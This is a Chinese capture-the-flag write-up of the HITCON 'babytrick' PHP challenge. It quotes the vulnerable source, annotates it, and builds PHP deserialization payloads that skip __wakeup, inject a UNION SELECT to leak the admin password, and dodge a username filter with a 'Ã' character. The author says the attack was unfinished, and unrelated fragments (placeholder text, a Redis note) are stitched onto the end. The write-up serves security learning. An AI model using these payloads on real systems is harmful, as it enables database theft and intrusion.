Bellboy 2020-01-31
前言
不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手
原题
index.php
<?php include "config.php"; class HITCON{ private $method; private $args; private $conn; public function __construct($method, $args) { $this->method = $method; $this->args = $args; $this->__conn(); } function show() { list($username) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username=‘%s‘", $username); $obj = $this->__query($sql); if ( $obj != false ) { $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); } else { $this->__die("Nobody Nobody But You!"); } } function login() { global $FLAG; list($username, $password) = func_get_args(); $username = strtolower(trim(mysql_escape_string($username))); $password = strtolower(trim(mysql_escape_string($password))); $sql = sprintf("SELECT * FROM users WHERE username=‘%s‘ AND password=‘%s‘", $username, $password); if ( $username == ‘orange‘ || stripos($sql, ‘orange‘) != false ) { $this->__die("Orange is so shy. He do not want to see you."); } $obj = $this->__query($sql); if ( $obj != false && $obj->role == ‘admin‘ ) { $this->__die("Hi, Orange! Here is your flag: " . $FLAG); } else { $this->__die("Admin only!"); } } function source() { highlight_file(__FILE__); } function __conn() { global $db_host, $db_name, $db_user, $db_pass, $DEBUG; if (!$this->conn) $this->conn = mysql_connect($db_host, $db_user, $db_pass); mysql_select_db($db_name, $this->conn); if ($DEBUG) { $sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64) ) CHARACTER SET utf8"; $this->__query($sql, $back=false); $sql = "INSERT INTO users VALUES (‘orange‘, ‘$db_pass‘, ‘admin‘), (‘phddaa‘, ‘ddaa‘, ‘user‘)"; $this->__query($sql, $back=false); } mysql_query("SET names utf8"); mysql_query("SET sql_mode = ‘strict_all_tables‘"); } function __query($sql, $back=true) { $result = @mysql_query($sql); if ($back) { return @mysql_fetch_object($result); } } function __die($msg) { $this->__close(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); } function __close() { mysql_close($this->conn); } function __destruct() { $this->__conn(); if (in_array($this->method, array("show", "login", "source"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->__die("What do you do?"); } $this->__close(); } function __wakeup() { foreach($this->args as $k => $v) { $this->args[$k] = strtolower(trim(mysql_escape_string($v))); } } } if(isset($_GET["data"])) { @unserialize($_GET["data"]); } else { new HITCON("source", array()); }
config.php
<?php $db_host = ‘localhost‘; $db_name = ‘babytrick‘; $db_user = ‘babytrick‘; $db_pass = ‘babytrick1234‘; $DEBUG = @$_GET[‘noggnogg‘]; $FLAG = "HITCON{php 4nd mysq1 are s0 mag1c, isn‘t it?}"; ?>
审计代码逻辑
这个里的代码将传进来的值赋给本地的私有变量(private)中
//当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
public function __construct($method, $args) { echo "__construct执行<br>"; $this->method = $method; //将传进来的$method 赋值给本地的method $this->args = $args; $this->__conn(); }
当执行它
func_tet_args() //获取一个函数所有的参数
list() 函数用数组中的元素为一组变量赋值。
sprintf()把百分号(%)符号替换成一个作为参数进行传递的变量:
第四行代码 调用__query函数进行数据查询
第五行判断$obj里面是否有值 如果有则 执行第六行代码
第六行代码的意思是利用springtf()方法输出执行的username role的结果
function show() { list($username) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username=‘%s‘", $username); $obj = $this->__query($sql); if ( $obj != false ) { $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); } else { $this->__die("Nobody Nobody But You!"); } }
//stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
function login() { global $FLAG; //定义全局变量 list($username, $password) = func_get_args(); //获取函数的参数的值赋值给$username,$password $username = strtolower(trim(mysql_escape_string($username))); //过滤$username mysql_escape_string()转义字符函数 $password = strtolower(trim(mysql_escape_string($password))); //过滤$password $sql = sprintf("SELECT * FROM users WHERE username=‘%s‘ AND password=‘%s‘", $username, $password); //进行查询 if ( $username == ‘orange‘ || stripos($sql, ‘orange‘) != false ) { //特殊字符Ã绕过; $this->__die("Orange is so shy. He do not want to see you."); } $obj = $this->__query($sql); //将查询结果赋值给$obj if ( $obj != false && $obj->role == ‘admin‘ ) { //如果$obj里面有值并且查询结果里面的role等于admin则执行if里面的语句否则执行else里面的 $this->__die("Hi, Orange! Here is your flag: " . $FLAG);//flag在这里!!!!! } else { $this->__die("Admin only!"); } }
function source() { highlight_file(__FILE__); }
function __conn() {global $db_host, $db_name, $db_user, $db_pass, $DEBUG; if (!$this->conn) $this->conn = mysql_connect($db_host, $db_user, $db_pass); mysql_select_db($db_name, $this->conn); if ($DEBUG) { print"====="; $sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64) ) CHARACTER SET utf8"; $this->__query($sql, $back=false); $sql = "INSERT INTO users VALUES (‘orange‘, ‘$db_pass‘, ‘admin‘), (‘phddaa‘, ‘ddaa‘, ‘user‘)"; $this->__query($sql, $back=false); } mysql_query("SET names utf8"); //使用utf8编码方式 mysql_query("SET sql_mode = ‘strict_all_tables‘"); }
function __query($sql, $back=true) {$result = @mysql_query($sql); if ($back) { return @mysql_fetch_object($result); } }
function __die($msg) { echo "函数die()执行<br>"; $this->__close(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); }
关闭数据库函数
function __close() { echo "函数close()执行<br>"; mysql_close($this->conn); }
__destruct():当对象被销毁时会自动调用。call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数。
function __destruct() { echo "__destruct执行<br>"; $this->__conn(); //将数据写入数据库; if (in_array($this->method, array("show", "login", "source"))) { //检查当前method看看和array里面有没有匹配的如果有则执行if里面的语句 @call_user_func_array(array($this, $this->method), $this->args);//调用$this->method里面的方法,把$this->args里面的额参数当成$this->method里面的参数使用 } else { $this->__die("What do you do?"); } $this->__close(); }//否则....
unserialize()时会自动调用mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
function __wakeup() {foreach($this->args as $k => $v) { $this->args[$k] = strtolower(trim(mysql_escape_string($v))); //过滤所有的参数(转义所有的SQL字符、去除所有的空格 小写转换) } }
if(isset($_GET["data"])) { //侦测有无data的get获取; @unserialize($_GET["data"]); //跳过 __wakeup()函数;调用析构函数 } else { new HITCON("source", array()); }
通过分析得知我们首先要获取到账户和密码才能进行下一步的登陆获得flag
构造的序列化代码
$_method="show"; $_args=array("bla‘ union select password,username,role from users where username=‘orange‘ -- "); $Instantiation=new HITCON("show",$_args); echo serialize($Instantiation)."</br>";
序列化得出结果//O:6:"HITCON":3:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:79:"bla‘ union select password,username,role from users where username=‘orange‘ -- ";}s:12:"HITCONconn";i:0;} 因为里面有私有变量所以给私有变量加上%00格式 //O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla‘ union select password,username,role from users where username=‘orange‘ -- ";}s:12:"%00HITCON%00conn";i:0;} //将属性值3变成4绕过_wakeup函数 //O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla‘ union select password,username,role from users where username=‘orange‘ -- ";}s:12:"%00HITCON%00conn";i:0;}
payload:
http://127.0.0.1/test/index.php?data=O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla‘ union select password,username,role from users where username=‘orange‘ -- ";}s:12:"%00HITCON%00conn";i:0;}
构造序列化的代码2
$_method="login"; $_args=array("or?nge","admin"); $Instantiation=new HITCON($_method,$_args); echo serialize($Instantiation)."</br>"; $Instantiation=null;
//序列化后 O:6:"HITCON":4:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{i:0;s:6:"orange";i:1;s:5:"admin";}s:12:"%00HITCON%00conn";i:0;} //给私有变量添加%00格式 O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:5:"admin";}s:12:"%00HITCON%00conn";i:0;} //替换orange里面的a为Ã 绕过下方注释的的代码 O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:5:"admin";}s:12:"%00HITCON%00conn";i:0;}
遇到的问题 1.绕不过去 还有就是数据库表有问题 脑子很混乱先写这些 下来再研究 先去看会电影。。。。
前言
111
前言
111
前言
spring-data-redis RedisTemplate 操作redis时发现存储在redis中的key不是设置的string值,前面还多出了许多类似\xac\xed\x00\x05t\x00;